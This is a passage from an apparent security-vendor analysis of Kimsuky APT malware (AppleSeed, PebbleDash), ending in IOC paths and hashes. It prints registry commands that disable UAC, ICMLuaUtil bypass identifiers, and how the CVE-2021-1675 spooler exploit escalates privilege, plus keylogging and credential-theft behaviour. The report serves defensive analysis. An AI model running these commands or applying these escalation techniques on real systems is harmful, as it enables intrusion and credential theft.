be run with regsvr32.exe like AppleSeed and used the ICMLuaUtil interface among UACMe features to bypass UAC.4 Figure 67. UAC Bypass technique using ICMLuaUtil The technique uses a certain undocumented method that is exported from the ICMLuaUtil interface. Like the ShellExecute() API, the method receives the pathname of the target that will be run as an argument and executes it. Unlike the API, it executes it as admin privilege without the UAC pop-up. As the method is not patched even in the latest Windows version, the technique is used by multiple malware strains. For instance, as Pitou Boot Kit malware needs admin privilege to infect MBR and reboot the system, it uses CMSTPLUA to do so. GandCrab ransomware that was distributed in the NSIS packer form in the past also used CMSTPLUA.5 - CMSTPLUA : 3E5FC7F9-9A51-4367-9063-A120244FBEC7 - ICMLuaUtil : 6EDD6D74-C007-4E75-B76A-E5740995E24C 4 https://atip.ahnlab.com/ti/contents/issue-report/malware-analysis?i8709a7d6-561a-4df3-8bd1- a5fedce07717 (Analysis Report on Privilege Escalation Using UAC Bypass) 5 https://asec.ahnlab.com/ko/1160/ (GandCrab v4.3 distributed in the Nullsoft installer form) https://atip.ahnlab.com/ti/contents/issue-report/malware-analysis?i8709a7d6-561a-4df3-8bd1-a5fedce07717 https://atip.ahnlab.com/ti/contents/issue-report/malware-analysis?i8709a7d6-561a-4df3-8bd1-a5fedce07717 https://asec.ahnlab.com/ko/1160/ Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 67 The malware executes the command line commands shown below. When the malware is executed by being loaded through regsvr32.exe, it automatically bypasses UAC by using a certain method of ICMLuaUtil and executes the command line commands to configure registry keys that disable UAC. cmd /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v PromptOnSecureDesktop /t REG_DWORD /d 0 /f reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f 5.3.2. CVE-2021-1675 Vulnerability The Kimsuky group has also been using the privilege escalation vulnerability. The malware installed through AppleSeed escalates privilege by using the CVE-2021-1675 vulnerability. CVE-2021-1675 is a privilege escalation vulnerability of the Windows Printer Spooler service. It can exploit the vulnerability of the AddPrinterDriverEx() API to operate a malicious DLL designated by the attacker with escalated privilege. AddPrinterDriverEx() is a function that installs local or remote printer drivers and connects configuration, data, and driver files. If sending 0x8014 value to the fourth argument (dwFileCopyFlags) of the API to bypass the privilege verification of SeLoadDriverPrivilege, and entering a malicious DLL path in the DriverInfo struct of pConfigFile to call, the malicious DLL that is sent as the argument is loaded and the attacker can execute the malicious DLL with escalated privilege. The malware used by the Kimsuky group is created based on the following GitHub open source, but there certain differences are noticeable when comparing it with the original source code.6 Figure 68. CVE-2021-1675 vulnerability routine One noticeable difference is that while the original source code uses the EnumPrinterDrivers() API to 6 https://github.com/hlldz/CVE-2021-1675-LPE/ https://github.com/hlldz/CVE-2021-1675-LPE/ Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 68 pinpoint the location of the printer driver file unidrv.dll in the infected system, this malware contains the path shown below, hard-coded. The path is also found on the current latest version of Windows 10.0.19043.1348, but it might be different depending on the OS version. It seems that the attacker had already collected the information of the target PC in advance and developed the malware based on the information. - Hard-coded Path: c:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_c62e9f8067f98247\Amd64\UNID RV.DLL The DLL registered through the malware was collected with the name lala.dll, which disables UAC and adds accounts. The aforementioned UACMe uses UAC Bypass to configure the following registry and disable UAC with escalated privilege, and lala.dll also performs the same feature. Registry Path Settings Value (Description) HKLM\SoftWare\Microsoft\Windows\CurrentVersion\ Policies\System\ConsentPromptBehaviorAdmin 0 (Not verified upon admin privilege escalation) HKLM\SoftWare\Microsoft\Windows\CurrentVersion\ Policies\System\PromptOnSecureDesktop 0 (Not switched to secure desktop upon admin privilege escalation) Table 29. Registry value change related to admin privilege escalation One difference the malware has with UACMe is that it additionally adds an RDP user account after privilege escalation. The account added is the same as the one from the malware that adds the user account mentioned earlier. Yet while the sample created through the PIF dropper uses the command line commands, the current one sets the registry using the API. Figure 69. Adding user account using API Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 69 One thing to note is that the DLL has the following PDB path. It seems that the Kimsuky group is using the CVE-2021-34527 (PrintNightmare) vulnerability to launch their attacks, with the sample probably being used for attacks exploiting the vulnerability. - PDB Path: E:\Peacock\exploit\Privilege Escalation\night dll add new admin user\CVE-2021-34527- master\nightmare-dll\x64\Release\nightmare.pdb 5.4. Collecting Information 5.4.1. Mimikatz The reason the attacker escalates privilege by using tools such as UACMe is to take over the entire domain via lateral movement in the internal infrastructure. To move laterally within the system, one needs to collect account credentials. Mimikatz is one of the main tools used for such a purpose as it needs to be run as administrator to steal account credentials within the system.7 The attacker additionally installs Mimikatz, or Powerkatz, to be precise. Figure 70. Command options upon running Powerkatz 7 https://atip.ahnlab.com/ti/contents/issue-report/malware-analysis?icc8cf212-f3ca-4134-812d- 0e471d888923 (Analysis Report of the Internal Propagation Technique Using Mimikatz) https://atip.ahnlab.com/ti/contents/issue-report/malware-analysis?icc8cf212-f3ca-4134-812d-0e471d888923 https://atip.ahnlab.com/ti/contents/issue-report/malware-analysis?icc8cf212-f3ca-4134-812d-0e471d888923 Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 70 5.4.2. Collecting Chrome Account Credentials While the following malware is built incorrectly and does not operate normally, it can be used to steal information. Like most of the malware strains used by the group, it is DLL and is run by regsvr32.exe. It steals cookie information and user account credentials stored in the Chrome web browser and saves in a text form in the following path. - Save Path for Information Stolen from Chrome: C:\ProgramData\Adobe\mui.db The information that is parsed and decrypted is saved as domain, name, path, and value if it is a cookie. For account credentials, they are saved as url, user, and pass. If the malware works normally, the saved results are likely to be stolen by the backdoor such as AppleSeed or PebbleDash and sent to the CC server. Figure 71. Chrome web browser cookies and account credentials saved in mui.db file 5.4.3. Keylogger Keylogger is a DLL-form malware that is also run by regsvr32.exe. As seen below, the malware was collected from inside the AhnLab folder of the ProgramData folder, and it existed as a file named install.cfg. - Path for Collecting Keylogger Malware: ALLUSERSPROFILE\ahnlab\install.cfg The attacker also disguised results and settings files below as AhnLab product-related settings files by creating them with names such as ahnlab.cfg and uninstall.cfg. Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 71 When Keylogger is executed for the first time, it checks for the current privilege. It injects itself as DLL into winlogon.exe in case of admin privilege and explorer.exe if not. Upon being run, it creates and scans the following mutex to prevent concurrent execution. - Mutex: windows certs server [pid] It checks the following path for the existence of uninstall.cfg. If the file exists, keylogging is stopped. The malware does not directly communicate with the CC server and only performs keylogging features. As such, the attacker may send a command to stop keylogging through backdoor such as AppleSeed or PebbleDash, creating a file in the path shown below. - Keylogging Command Data File: ALLUSERSPROFILE\AhnLab\uninstall.cfg Keylogger malware uses GetAsyncKeyState() and GetKeyState() functions to steal the current users keyboard input information and saves it in a temporary file of the TEMP path. Keylogger then periodically copies the keylogging data saved in the TEMP path to the path shown below. It appears that the saved results are stolen by the backdoor and sent to the CC server. - Keylogging Data File: ALLUSERSPROFILE\AhnLab\ahnlab.cfg Figure 72. Keylogging data saved in ahnlab.cfg file 5.5. Others 5.5.1.
291
Remote Access History: 27.255.81[.
61,074
61,295
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data/reports_final/0291.txt
Remote Access History: 27.255.81[. ]109:3015 AhnLabs Response The alias and the engine version information of AhnLab products are shown below. Even if the threat groups activities were recently discovered, AhnLab products may have detected related malware in the past. The ASEC team is tracking the activities of the group and is responding to related malware types, but there may be unidentified alterations that are yet to be detected. Backdoor/JS.Akdoor (2021.04.23.00) Backdoor/Win. Agent. R421553 (2021.10.14.03) Backdoor/Win. Akdoor. C4715493 (2021.10.22.02) Backdoor/Win. Akdoor. C4715520 (2021.10.22.02) Backdoor/Win. Akdoor. R417157 (2021.04.23.00) Backdoor/Win. AppleSeed. C4635545 (2021.10.14.03) Backdoor/Win. AppleSeed. C4646719 (2021.10.14.02) Backdoor/Win. AppleSeed. C4646724 (2021.10.14.02) Backdoor/Win. AppleSeed. C4646725 (2021.10.14.02) Backdoor/Win. AppleSeed. C4699440 (2021.10.14.03) Backdoor/Win. AppleSeed. C4702267 (2021.10.15.01) Backdoor/Win. AppleSeed. C4702268 (2021.10.15.01) Backdoor/Win. AppleSeed. C4705211 (2021.10.18.03) Backdoor/Win. AppleSeed. C4713932 (2021.10.21.00) Backdoor/Win. AppleSeed. C4719084 (2021.10.24.01) Backdoor/Win. AppleSeed. R335261 (2021.10.15.01) Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 73 Backdoor/Win. AppleSeed. R335738 (2020.05.09.00) Backdoor/Win. AppleSeed. R336437 (2020.05.14.00) Backdoor/Win. AppleSeed. R441519 (2021.10.14.03) Backdoor/Win. AppleSeed. R444289 (2021.10.14.03) Backdoor/Win. AppleSeed. R445451 (2021.10.15.01) Backdoor/Win. AppleSeed. R445453 (2021.10.15.01) Backdoor/Win. AppleSeed. R445842 (2021.10.18.03) Backdoor/Win. Keylogger. R419909 (2021.10.14.03) Backdoor/Win. Meterpreter. C4705209 (2021.10.18.03) Backdoor/Win. VNC.C4589952 (2021.10.14.03) Backdoor/Win32.Agent. R338775 (2020.06.01.03) Backdoor/Win32.Kimsuky. R341619 (2020.06.25.03) Backdoor/Win64.Akdoor. C4148267 (2020.07.01.04) Backdoor/Win64.Akdoor. C4176420 (2020.08.05.05) Backdoor/Win64.Akdoor. C4250525 (2020.12.04.04) Backdoor/Win64.Akdoor. C4251494 (2020.12.08.03) Backdoor/Win64.Akdoor. R179345 (2016.04.22.05) Backdoor/Win64.Akdoor. R181647 (2016.05.20.00) Backdoor/Win64.Akdoor. R197899 (2017.04.03.03) Backdoor/Win64.Akdoor. R357381 (2020.12.08.06) Backdoor/Win64.Keylogger. R353447 (2020.10.20.04) Downloader/Win. Agent. C4510706 (2021.10.15.00) Downloader/Win64.Agent. C4318031 (2021.02.01.04) Dropper/JS.Agent (2021.08.26.03) Dropper/JS.Akdoor (2021.10.07.00) Dropper/JS.Generic (2021.05.08.00) Dropper/Win. Agent. C4520969 (2021.10.15.00) Dropper/Win. Akdoor. C4656487 (2021.09.28.00) Dropper/Win. AppleSeed. C4699439 (2021.10.14.03) Dropper/Win32.Infostealer. R332952 (2020.04.16.08) Dropper/Win64.Akdoor. R194398 (2017.01.26.00) Dropper/WSF.Agent (2021.05.13.02) Exploit/Win. CVE-2021-1675.C4584875 (2021.08.09.03) Exploit/Win. CVE-2021-34527.R436236 (2021.08.09.03) Malware/Gen. Reputation. C4269991 (2020.12.23.04) Trojan/Win. Agent. C4382841 (2021.10.14.03) Trojan/Win. Agent. C4457973 (2021.10.15.01) Trojan/Win. Agent. C4520953 (2021.10.14.03) Trojan/Win. Agent. C4522294 (2021.06.11.02) Trojan/Win. Agent. C4524918 (2021.10.14.03) Trojan/Win. Agent. C4705973 (2021.10.19.00) Trojan/Win. Agent. C4714244 (2021.10.21.03) Trojan/Win. Agent. R416026 (2021.10.14.03) Trojan/Win. Agent. R420433 (2021.10.14.03) Trojan/Win. Agent. R422617 (2021.10.14.03) Trojan/Win. Agent. R425110 (2021.10.14.03) Trojan/Win. Agent. R436488 (2021.10.14.03) Trojan/Win. Akdoor. C4522181 (2021.10.14.03) Trojan/Win. Akdoor. C4522184 (2021.06.11.00) Trojan/Win. Akdoor. C4589941 (2021.08.13.03) Trojan/Win. Akdoor. C4596140 (2021.08.18.00) Trojan/Win. Akdoor. C4700226 (2021.10.15.00) Trojan/Win. Akdoor. C4728343 (2021.10.27.00) Trojan/Win. Akdoor. R425112 (2021.10.14.03) Trojan/Win. Akdoor. R426485 (2021.10.15.00) Trojan/Win. Akdoor. R436752 (2021.08.13.03) Trojan/Win. Akdoor. R445441 (2021.10.15.01) Trojan/Win. Akdoor. R446906 (2021.10.24.02) Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 74 Trojan/Win. Appleseed. R428102 (2021.10.15.01) Trojan/Win. Generic. C4609881 (2021.08.27.02) Trojan/Win. HVNC.C4635546 (2021.10.14.03) Trojan/Win. Keylogger. C4719085 (2021.10.24.01) Trojan/Win. KeyLogger. R422003 (2021.10.14.03) Trojan/Win. LightShell. R435857 (2021.08.07.00) Trojan/Win. LightShell. R436719 (2021.08.13.02) Trojan/Win. LightShell. R439086 (2021.10.14.03) Trojan/Win. LightShell. R439839 (2021.09.02.03) Trojan/Win. LightShell. R445352 (2021.10.15.00) Trojan/Win. Meterpreter. R430231 (2021.10.14.03) Trojan/Win. Mimikatz. C4521006 (2021.06.09.02) Trojan/Win. Mimikatz. C4717867 (2021.10.23.01) Trojan/Win. NukeSped. R415643 (2021.10.14.03) Trojan/Win. Proxicon. R436042 (2021.08.09.03) Trojan/Win. RDPatcher. R445454 (2021.10.15.01) Trojan/Win. Stealer. C4768269 (2021.11.12.03) Trojan/Win. Tinukebot. R415647 (2021.10.14.03) Trojan/Win. TinyNuke. C4633235 (2021.10.14.03) Trojan/Win. TinyNuke. C4702254 (2021.10.15.01) Trojan/Win. TinyNuke. R435917 (2021.10.14.03) Trojan/Win. VNC.C4318018 (2021.10.14.03) Trojan/Win. VNC.C4589940 (2021.10.14.03) Trojan/Win. VNC.C4633124 (2021.09.16.00) Trojan/Win. VNC.R435919 (2021.10.14.03) Trojan/Win. VNC.R436747 (2021.10.14.03) Trojan/Win32.Agent. C4003499 (2020.02.29.06) Trojan/Win32.Agent. C4179369 (2020.08.12.03) Trojan/Win32.Agent. R344880 (2020.07.16.00) Trojan/Win32.Agent. R350149 (2020.09.03.08) Trojan/Win32.Agent. R353325 (2020.10.17.09) Trojan/Win32.Agent. R357752 (2020.12.19.00) Trojan/Win32.Akdoor. C2030137 (2017.07.06.02) Trojan/Win32.Akdoor. R183070 (2016.06.09.07) Trojan/Win32.Akdoor. R183787 (2016.07.22.02) Trojan/Win32.Akdoor. R333041 (2020.04.17.00) Trojan/Win32.Infostealer. R338043 (2020.05.26.02) Trojan/Win32.MalPacked. C4196972 (2020.09.17.00) Trojan/Win32.Rdpwrap. R232017 (2018.11.26.07) Trojan/Win64.Agent. C4318029 (2021.02.01.04) Trojan/Win64.Agent. R337075 (2020.05.20.10) Trojan/Win64.Agent. R337893 (2020.05.25.03) Trojan/Win64.Agent. R338576 (2020.05.29.04) Trojan/Win64.Agent. R350150 (2020.09.03.09) Trojan/Win64.Agent. R354559 (2020.11.01.00) Trojan/Win64.Agent. R367595 (2021.02.23.00) Trojan/Win64.Akdoor. R354720 (2020.11.04.00) Trojan/Win64.Akdoor. R355472 (2020.11.12.04) Trojan/Win64.Loader. C4019677 (2020.03.18.00) Trojan/WSF.Runner (2020.11.12.04) Unwanted/Win. Rdpwrap. C2410573 (2021.04.20.00) Unwanted/Win32.Rdpwrap. C2632304 (2018.07.26.01) Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 75 Conclusion Kimsuky group is continuously launching social engineering attacks, such as spear phishing, against companies, public institutions, and individual users. Recent cases have shown frequent uses of malware AppleSeed and PebbleDash. Such backdoors can stay in the system, receive commands from the attacker, and perform various malicious tasks. As various malware strains for remote control and collecting information are additionally installed, companies and users targeted by the Kimsuky group are at risk of having key information within the system stolen. When there is a suspicious-looking email in the inbox, users must refrain from opening the attached files within the email. Also, anti-malware solutions, such as AhnLab V3, must be regularly updated to the latest version to prevent malware infections. IOC (Indicators of Compromise) Some IOCs were referred to third-party analysis reports. Thus, some were not verified as the sample could not be confirmed. The content may be updated without notice if new information is found. File Path and Name The file paths and names used from the threat group are listed below. Some malware and tool file may have the same name as that of normal files. Script image_confirm_v2.wsf Biden Administration Security Figures.wsf Plan for Establishing Control Tower in North Korea Denuclearization.wsf 2021 Missions Service Survey.hwp.js Korean-Japan Relations.js News 2021-05-07.pdf jse PIF Dropper JR_210604_R1_F_Pf.pif - (Certain strings blurred as ) Colon Cancer Case.pif Progress Check_211013.pdf file 211014-915mm(0deg).h5.pif 210927 Covid-19 Response (Boryeong-Taean 1)_merged_edited. PIF 1. 2021 Business Plan (Supplemented by referencing materials from Installation Agency) - 210316-1.pif ROK-US summit (May 21st) Reference Material (edited).pif 2021 Work Report Edited.pif Downloader ALLUSERSPROFILE\Intel\Driverdriver.cfg ALLUSERSPROFILE\Intel\driver.cfg APPDATA\Intel\Driverdriver.cfg AppleSeed Installation Path ALLUSERSPROFILE\Software\Ahnlab\Service\AutoService.dll ALLUSERSPROFILE\Software\ControlSet\Service\ServiceScheduler.dll ALLUSERSPROFILE\Software\Defender\Windows\Update\AutoUpdate.dll ALLUSERSPROFILE\Software\ESTsoft\Common\ESTCommon.dll Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 76 ALLUSERSPROFILE\Software\KakaoTalk\KaoUpdate.ini ALLUSERSPROFILE\Software\Microsoft\AvastAntiVirus\AvastUpdate.dll ALLUSERSPROFILE\Software\Microsoft\Avg\AvgSkin.dll ALLUSERSPROFILE\Software\Microsoft\Network\NetworkService.dll ALLUSERSPROFILE\Software\Microsoft\Printer\PrinterService.dll ALLUSERSPROFILE\Software\Microsoft\Service\TaskScheduler.dll ALLUSERSPROFILE\Software\Microsoft\Windows\AutoDefender\UpdateDB.dll ALLUSERSPROFILE\Software\Microsoft\Windows\AutoPatch\patch.dll ALLUSERSPROFILE\Software\Microsoft\Windows\Chrome\GoogleUpdate.dll ALLUSERSPROFILE\Software\Microsoft\WIndows\Defender\AutoCheck.dll ALLUSERSPROFILE\Software\Microsoft\Windows\Defender\AutoUpdate.dll ALLUSERSPROFILE\Software\Microsoft\Windows\Defender\update.dll ALLUSERSPROFILE\Software\Microsoft\Windows\Explorer\FontChecker.dll ALLUSERSPROFILE\Software\Microsoft\Windows\FontChecker.dll ALLUSERSPROFILE\Software\Microsoft\Windows\MDF\WDFSync\WDFSync.dll ALLUSERSPROFILE\Software\Microsoft\Windows\MetaSec\MetaSecurity.dll ALLUSERSPROFILE\Software\Microsoft\Windows\Patch\patch.dll ALLUSERSPROFILE\Software\Microsoft\Windows\Patch\plugin.dll ALLUSERSPROFILE\Software\Microsoft\Windows\Secrity\AutoCheck.dll ALLUSERSPROFILE\Software\Office\Update.dll APPDATA\ESTsoft\AlLUpdat\AlCommon.dll APPDATA\ESTsoft\AlLUpdate\AlCommon.dll APPDATA\ESTsoft\Common\ESTCommon.dll APPDATA\ESTsoft\Common\ESTUpdate.exe APPDATA\ESTsoft\Common\ko-kr.dll APPDATA\ESTsoft\updat\ESTCommon.dll APPDATA\Microsoft\Windows\Defender\AutoUpdate.dll APPDATA\Microsoft\Windows\Defender\patch.dll Meterpreter ALLUSERSPROFILE\edge\mtp.db ALLUSERSPROFILE\Intel\1060\update1060.cfg ALLUSERSPROFILE\intel\bin\update.cfg ALLUSERSPROFILE\m.db ALLUSERSPROFILE\ma.dat ALLUSERSPROFILE\ma.db ALLUSERSPROFILE\msedge\mtp.db ALLUSERSPROFILE\mt79.dat ALLUSERSPROFILE\mtp.dat ALLUSERSPROFILE\mtp.db ALLUSERSPROFILE\s\mtp.db ALLUSERSPROFILE\update.db SystemDrive\mav.db SystemDrive\netclient\k.txt SystemDrive\netclient\km.xml HVNC ALLUSERSPROFILE\mac\hvnc.db ALLUSERSPROFILE\s\hvnc.db ALLUSERSPROFILE\hvnc.dat TightVNC ALLUSERSPROFILE\edge\tvnc.db ALLUSERSPROFILE\msedge\tvnc.db ALLUSERSPROFILE\s\tvnc.dat ALLUSERSPROFILE\tvn.db ALLUSERSPROFILE\tvnc.dat Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 77 RDP Wrapper ALLUSERSPROFILE\rdp\rdpconf.exe ALLUSERSPROFILE\rdp\rdpwinst.exe ProgramFiles\rdp wrapper\rdpwrap.dll Malware for Adding Account ALLUSERSPROFILE\net.exe ALLUSERSPROFILE\net-add.exe APPDATA\media\wmi-ui-9cde8e85.db RDP Patch Malware TEMP\pms6e3e.tmp UACMe ALLUSERSPROFILE\su.db Privilege Escalation Malware ALLUSERSPROFILE\lala.exe ALLUSERSPROFILE\c.exe ALLUSERSPROFILE\lala.dll ALLUSERSPROFILE\n.dll Powerkatz ALLUSERSPROFILE\hi.db ALLUSERSPROFILE\edge\powerkatz-x64.exe ALLUSERSPROFILE\pacs8.exe SystemDrive\users\[User name]\documents\pkt.exe SystemDrive\users\[User name]\documents\1\pkt.exe SystemDrive\users\[User name]\documents\powerkatz-x64.exe Malware for Stealing Chrome Account Credentials ALLUSERSPROFILE\cc.dat Keylogger ALLUSERSPROFILE\ahnlab\install.cfg Proxy Malware ALLUSERSPROFILE\la.exe ALLUSERSPROFILE\ll.exe File Hashes (MD5) The MD5 of the related files is shown below. However, it might be omitted if there is a sensitive sample. Script 357a56dbc9e8b43d8ca09a92eac9b429 04b207967c38414d99a7da2b718c440f c7844002ba15798f2c240f2b629d90c2 3a4ab11b25961becece1c358029ba611 609f8450e024ed88b130f13d6d7b213f 159dd4d84fd6c5d1bb807cdb02215cf8 f0255dfcb932c3072c2489124b25b373 e7cf7c466e90f2b580ce89e4f8ef2af6 9c86a941cfb1ecbc580aea99b7d18e90 6c82e7b8fe3fd401573a822f6d1455e9 Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 78 d9064c446b39e23822cb3b2680a0e052 8b274243a5179028388a2c17c75afb9f PIF Dropper 96c6ad44b9bb85e9e57bfea7e441d131 e8da7fcdf0ca67b76f9a7967e240d223 aa65c226335539c162a9246bcb7ec415 2ff981ba02b1c5a8487b858265b037de 815c690bfc097b82a8f1d171cd00e775 b567f7aac1574b2ba3a769702d2f6a1e 93758669e4f689b2f3b8b9ee6189c3df 7e041b101e1e574fb81f3f0cdf1c72b8 946f787c129bf469298aa881fb0843f4 PIF Dropper (UPX Unpack) 51c19c3ac15f7434b777effd4e490b41 e521c68ac280c00b0e27cbd2fed4c9c4 Downloader e413c5922addcde26edc5d72c3f3163d 768c84100d6e3181a26fa50261129287 218b391172f990ec35e08a221b77fa14 2a57aea6acc479332cf176aa9e976015 23ea8eba791c783dd197ac3695b57a92 acc36ffa4f40016b483deac1f78cf07d 8414d95877acde1b2557d7ab8ac0119f 6603e6628ca799ea21822d9952ce048a 54a0fdabbdf7e77509850e25ab956094 447163d776b62bf0b1c652c996cc0586 ee5a33cc147a56fe8e77cc37a4320527 Downloader (UPX Unpack) 19e09cfdcfe0c255c50b67d52b6a7afe AppleSeed - HTTP 7348d1f1f1ca3b7ff25b362231365904 aef664a85be61781dc20af81a644cfa3 f0dbc8a4d62ebb22c0bae473de1c98d2 0d9f8b5b7417896508a49047a5eb18eb 911937edadd017d5475570a1207bc3eb 8355964a47f248ed39caccb733aabc44 fd805335efa9ef39b121c7f1cec6ff83 151af490f16384372473f7696c90aa2a 07db667386e71a3334d79d93b26e930b 2401ad5f935df2757214a84538bdfdde 684b27302d9e5e6558651bd1ab50f5d7 f928a8eb6a04e8c47eafbed8ff014ed1 5c8afc7e08e480d10122c007b0b0cdf4 fea415382e510eea7b49ddc68cbdc402 7b6d65191d091bdd7c997ffcd670b018 c9ede077ec500240864c47c69fe5c728 5ce3a4eddba6ec8273db024b1813a530 d228d8453f1249f2177f376bfae4b10f 29d2895afb76ae73705b05847d3b2384 d68454cfef64f71caaa9c4f44c016a68 04d0856afb1aa9168377d6aa579c5403 44222674cf1175859b1756038f030e2d 866d2981320c69db5294d0761788f05a Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 79 2142739359fd0c614ffe3e2fcbc8c89d 1ce204f16d458e78ed8de91c332545cc 3913423877bd01729a63ba6dd075a19c d7b2cf6c8597d12d30aca68b277912af ba615365f00a2a631c6f8ccafdf52a80 d214790381ab8d1bfb909ac0b0d38051 d77dd109df7874e3c2cb72e9e169f909 1eefdfd7b83c2be2c388acb4b19fdd50 43e65ed5d864f0994277e4cdb217e9dd 801894c7f962e48e2fa35260b8f37a65 d6727e4a3f84d99d4e97ff6fb246c33b 60a65964fe90e1fd7d3d50623ed05083 89fff6645013008cda57f88639b92990 66b33561a84a8a8b78883b5e83ef76e5 de02fd9415983147bacfb839658aef7a cb9f97f06743c4592b5c5b0b2538ae5c 373a04225dd9b0d99cab3ed9ca970a23 b239679d6cd70e0d4ae30852005752ca ef75f528fb738e9519950bd615c85f8e ae47cd69cf321640d7eebb4490580681 8814fc3d81b3a948f54b0c035ece41aa 3d235aa8f66ddeec5dc4268806c22229 537b319927c0a7fbfaa0d411283069e3 076fcf70558836549151e7685adb1203 9d00bf9a834d6d5361b4a281aaa9ddd0 605c3dee08569692b67f25a47cb4a397 10b9702f8096afa8c928de6507f7ecfe df14d5c8c7a1fb5c12e9c7882540c3c0 41a8fc708ea0181c704a10b71771620c d3eee11514cf901b273bcbd4d91c8af5 a44966b7ddddbc62d7eb967d34812840 7c86ce42fed192ba7d1e09af0a7bf821 4ea6280e76b8c9fd6432faab3e1566b7 e6bc6e7fd86c5000d6557416e765ee7d 03cf908006d0b6bcac671ebc88f1ddf7 43917a2b19e25e3ffd110188404691d5 5aa0393b910b3f94b327e4e6162265fc 4d7816bb6f22dc76d3564e312a38ecc8 ca5c311cdf05a4661dc490e0929cdef1 a36414bf5195e523797d6e30a2e1225b 157160589dc3d5bad2e7ed15629b87d6 a03598cd616f86998daef034d6be2ec5 85ae0be9411b1ab0d7644347af0f7f07 ed17ac8d2ee4a3b145e5784887b2499a 8b775c805427560a4cedd900c8e63863 80a2bb7884b8bad4a8e83c2cb03ee343 d916c3533a89e498159fc432d645edb8 14e01ed4d086206d3c4b7159dc887f25 739d14336826d078c40c9580e3396d15 df0ed691353427377f58972a113b75eb 165f120ac79eda977d10f2f5203ff067 541fa4fb60690ffbe48b24cd2eeda32e e40cb1328cf00cc490a7239141db3661 4d20e2f1c2e8e9503d2bf7d0422b7ac7 171e12e3673eb0f934ce94cb583daccc 7480f871e59de96aaf2a20271ef2eab6 68eddf7fe33ac28a71f63437e2320b43 2cb77491573acc5e8198d8cf68300106 Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 80 07c52157eb97ebe792b03e3a9d8a8240 499b72fc9973d2f2ee6679fd60d9dbaf 876db1153d0689092619315a61138c47 de9254369b928eaab82c84be777ebd05 9f9fd9812bac6bc71fe553c82faede94 bbc79820ccc040a54d2327ec28875377 734e034f968f13b4fbe5eddf443c4435 c7fbffb557c2006fd3316470e0c763d2 a40d47de39d25452af79cf1a9f812ee1 41950ac0d33adce8c8dcd0bed0e76591 3c47e1074f0845f50b615f1fb99b3bd8 1976fe2bc1011c02ff50c807f97cb230 caa1a847d0ae3f3d647474f5db9069bf c019e4bd1d192e08c56135a501a828fe 25afb96dc0db40d2de6313ce9fa7fdc7 28e0e331b4657e2383978c3fba89d7af 8f19fb2998e24bd05ff39bf2a704acd7 4e58ea982e3e95fe7b1bdb480ab9810e AppleSeed - HTTP (UPX or Self Unpack) 445299630a7675b2dbdc0ddfb08181a0 21994210ecb683ebccfaeda7a58b93f4 dd94918ac64425f9e14d3ee11fd22f26 c9540a5128ff77cf184b894a09a2fbb0 03b56d2764a29625fd7f804d0e431ab9 2d1f1132ab7e80a6a8546dd2ac45bd89 c1681bd8a0bfb54f208d2d1eee6693ec 9465a1a8cd418b8737e4c1f7dbe919f7 1de3b318b8a6636627004c6c43c87254 179ebbc3ea95ebaf882e997c469e800b 0ab009337ba3ed59560851db078e170a 8abb227a7c90a24e57e987cbf1cea1b4 907590565c5d3494addcd561736135df 7842a386fcd8bb8572b19383fed0b1e1 c688c60c94ead98f772c20cf18fb02d1 b5e2fff1591aa8331a1b9dfd1b2be435 c861f25bb943f77a909b33d62bb71926 8220d11b69ad5e516234405e00e899e0 5969b33fc2e70e9d007edd7ec8b8c7ea aed94d4b249d93c40c63267b9106f7a9 7b623d8d8821cdea344b58e8b392a77a e6d6cb76e2c91b6771b4fb4e19785e76 a22b6ee659d80bfc4e0d51f46973eff0 e98fae79f1c389313fcc27343ea2e359 0c4c830daac33221188e3c5461b35b6b AppleSeed - EMAIL 98015898c06603cc50bf0ed1eaf8fdff 8c5c844eb8612235cfbdf1fc8c59af65 dacb71c5eac21b41bb8077fe2e9f5a25 35ee0f5d686e72aba04253b0b39d19fe f2a39067724a227f6f7bc0f0602bae32 18d94704439c9eda33ea49eab40d99a5 0c6da2b9f9a5d8b3cf01f682c097f48b AppleSeed - EMAIL (UPX Unpack) 2c49b207dcd0454e6e7486ce6126f3e0 3bad087e698b257d5c3b8ac11392973d Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 81 40add75d64cebbc6f9054d0fa7a3d8cf 1d759150d2364a2fd0db7c22049ada22 6844589e2962b3914824cc8b90a552a6 a213a2bdfb76bcb4957568f08f753b85 Initial Version PebbleDash 8251bd566bdc6363b53f73224e4bd12b bb9641441dbc300939077bc3a0b60846 3998926526d5950c62ca2ec0225b8e7e 232279212c0ac76e13c524ba32fb545b 4ffcb40b7ef5f475e75d972dd69bb7fb c78523f37f856d9743638ce1b0128fcd 7c2fcbb47a97709b7b4c7001000882fd b3ed33cf6d37e45b013afc4c6bbb84d9 Initial Version PebbleDash (Self Unpack) baed0df969bdc9d914040b75bb3a7b8f Latest Version PebbleDash e33a34fa0e0696f6eae4feba11873f56 bbab9d691b616df065049d4c1c4f356f 5c04be3a9e52e04500e1b729988ab902 3c3f2c3df0ddefebe51ce8fc9fd888f8 a9a495491914257afc294fa6c2d215ba Latest Version PebbleDash (Unpacked) 9fa3d317b62fe14eab225d56f3c9509d df0c27db9b5d8133d07b36d2c90eab56 Meterpreter e37836c1f65fa321c7301c4062a1776c c61b965dae6f5e745f075825f3ec20d5 420634db019dc28b89bf9d2e6fe5db6d 107f917a5ddb4d3947233fbc9d47ddc8 6e8406d6680899937f23c788a7008a11 7f4624a8eb740653e2242993ee9e0997 